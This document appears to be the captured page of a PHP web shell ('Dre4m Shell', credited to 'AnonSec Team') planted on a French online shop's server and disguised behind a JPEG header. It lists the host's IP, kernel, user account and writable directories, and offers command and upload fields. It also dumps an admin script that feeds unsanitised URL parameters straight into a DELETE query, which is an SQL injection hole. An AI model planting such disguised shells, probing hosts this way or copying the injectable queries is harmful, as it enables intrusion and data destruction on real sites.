ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/cp-admin/products_associated.php
<?php
include_once('includes/header.php');
$id_volet ="15";
include('includes/volet.php');
/****************************/

if (isset($_GET['del1'])) 
{
  $id1 = $_GET['del1'];
  $id2 = $_GET['del2'];
 
  /* Efface l association */
  $bdd->exec("DELETE FROM " . $GLOBALS['db_table']['products_associated'] . " WHERE id_product = $id1 AND id_product_asso = $id2");
}




$nbCol = $bdd->query('SELECT count(*) as nbCol
                      FROM products_associated
                      GROUP BY id_product
                      HAVING count(*) >= ALL (SELECT count(*)
                                              FROM products_associated
                                              GROUP BY id_product)');
$nbCol = $nbCol->fetch();
$nbCol = $nbCol['nbCol'];
?>

<div class="container">
  <div class="row">
    <div class="span12">
      <div class="page-header">
        <h1>Produits associés
        </h1>
      </div>
    </div>
  </div>
  <table class="table table-bordered table-striped">
    <thead>
      <tr>
        <th class="center" style="width:100px">Produit</th>
        <?php
        foreach (range(1, $nbCol) as $i) {
          echo '<th class="center" style="width:100px;">Associé ' . $i . '</th>';
        }
        ?> 
      </tr>
    </thead>
    <tbody>

      <?php
      $requete = $bdd->query("SELECT id, name FROM " . $GLOBALS['db_table']['products']); 
      if ($row = $requete->fetch()) {
        do {
          $sql = $bdd->query("SELECT picture FROM " . $GLOBALS['db_table']['products_pictures'] . " WHERE id_product = " . $row['id'] . " AND position in (SELECT MIN(position) FROM " . $GLOBALS['db_table']['products_pictures'] . " WHERE id_product = " . $row['id'] . ")");
          $picture = $sql->fetch();
          ?>

          <tr>

            <td class="center" style="width:100px;">
              <a href="./edit_product.php?id=<?php echo $row['id']; ?>" title="<?php echo stripcslashes($row['name']); ?>">
            <?php $pic = '../uploadfiles/products/' . $picture['picture'];  if (empty ($picture['picture'])){ $pic = '../templates/shop/img/no-picture.jpg'; } ?>
              <img style="max-width: 80px; max-height: 60px" src="<?php echo $pic; ?>" />
                <br />
                <?php echo stripcslashes($row['name']); ?>
              </a>
            </td>
            
            
            

            <?php
            $asso = $bdd->query('SELECT p.id, p.name FROM ' . $GLOBALS['db_table']['products'] . ' p JOIN ' . $GLOBALS['db_table']['products_associated'] . ' pa ON p.id = pa.id_product_asso WHERE id_product = ' . $row['id']);
            $results = $asso->fetchAll();

            foreach (range(0, $nbCol - 1) as $i) {

              echo '<td class="center" style="width:100px;">';
              
              
              
              if($results[$i] != '') {
              
  echo'<table style="width:100%">  
      <td class="center" >';           
             
                $result = $results[$i];
                $sql = $bdd->query("SELECT picture FROM " . $GLOBALS['db_table']['products_pictures'] . " WHERE id_product = " . $result['id'] . " AND position in (SELECT MIN(position) FROM " . $GLOBALS['db_table']['products_pictures'] . " WHERE id_product = " . $result['id'] . ")");
                $picture = $sql->fetch();
                echo '<a href="./edit_product.php?id=' . $result['id'] . '" title="' . stripcslashes($result['name']) . '">';
                echo '<img src="../uploadfiles/products/mini/' . $picture['picture'] . '"  width="80" />';
                echo '<br>';
                echo stripcslashes($result['name']);
                echo '</a>';

   echo'</td><td class="center" width="20">';           
               ?>            
               <a href="./products_associated.php?del1=<?php echo $row['id']; ?>&del2=<?php echo $result['id']; ?>" id="<?php echo $row['id']; ?>" onclick="return confirm
              ('Voulez-vous vraiment supprimer cette association ?');">
                <center><br /><img src="assets/img/delete.png" width="20" title="Supprimer cette association" /></center>
              </a>

               <?php       
              echo '</td></table>';
 } 
 
              echo '</td>';
              
                       }
     
              
              
        }while ($row = $requete->fetch());
      } else {
        echo 'Aucun produit à afficher !!!';
      }
      ?>

    </tbody>
  </table>
</div>

<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team